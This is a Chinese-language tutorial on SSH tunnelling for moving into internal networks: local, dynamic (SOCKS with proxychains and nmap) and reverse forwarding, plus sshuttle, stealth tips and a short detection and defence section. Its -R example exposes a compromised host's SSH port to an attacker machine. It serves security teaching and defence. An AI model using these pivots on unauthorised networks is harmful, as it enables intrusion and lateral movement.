SSH 隧道与内网代理(本地/远程/动态转发)

SSH 隧道实战:本地转发 -L、远程转发 -R、动态转发 -D(Socks)、sshuttle,以及 EW 等代理工具,检测与防御。

写在前面:合法学习边界

隧道只用于授权内网。对非授权网络建立通道可能触犯法律。

一、原理:SSH 隧道为什么好用

SSH 协议默认放行、加密,能借助一台已控主机打通内网,且不需要额外装客户端(多数系统自带 ssh)。

1
2
3
4
三种转发:
-L 本地转发:把内网端口映射到本地
-R 远程转发:把本地端口暴露到远程
-D 动态转发:建立 Socks 代理,走整个内网

二、影响

1
2
3
不用装 frp/EW 也能穿内网(免落地工具)
加密流量更难检测
配合 proxychains 打通内网横向

三、使用 / 复现

1. 本地转发(访问内网某端口)

1
2
3
4
# 把内网 10.0.0.5:3389 映射到本地 13389
ssh -L 13389:10.0.0.5:3389 user@跳板机
# 解释:-L 本地端口:目标地址:目标端口
rdesktop 127.0.0.1:13389

2. 动态转发(Socks 代理全内网)

1
2
3
4
5
# 在跳板机上建立 socks,本地监听 1080
ssh -D 1080 user@跳板机
# 解释:-D 动态转发,相当于 socks5 代理
# 配合 proxychains 访问内网
proxychains4 nmap -sT -Pn 10.0.0.0/24

3. 远程转发(目标无法直连我们时)

1
2
3
4
# 目标机主动连我们的 2222,把它的 22 暴露给我们
ssh -R 2222:127.0.0.1:22 攻击机用户@攻击机IP
# 解释:-R 远程端口:本地地址:本地端口
# 之后我们连攻击机 2222 即到目标的 22

4. sshuttle(整段子网代理,更快)

1
2
sshuttle -r user@跳板机 10.0.0.0/24
# 解释:把内网段全部代理,无需逐个 -L

5. 隧道化更隐蔽

1
2
# 把隧道走代理/开压缩/长连接
ssh -o Compression=yes -o ServerAliveInterval=30 ...

四、操作步骤

1
2
3
4
5
第 1 步:确认已控主机能连(ssh 可达)
第 2 步:按需求选转发方式(单端口 -L / 全内网 -D / 反向 -R)
第 3 步:建立隧道并本地验证连通
第 4 步:配合 proxychains/sshuttle 横向
第 5 步:用后清理会话

五、检测与防御

1
2
3
4
异常 SSH 长连接、多个 SSH 隧道特征
连接目标非常规端口
外联 IP 白名单
记录 SSH 会话审计

六、小结

SSH 隧道是“零落地、免工具”的内网代理首选:-L 打单个端口、-D 打整个内网、-R 用于目标连不回的场景。它和 frp 互为补充——SSH 适合有 ssh 凭证、frp 适合更复杂的多级隧道。防守重点在异常 SSH 连接与出站策略。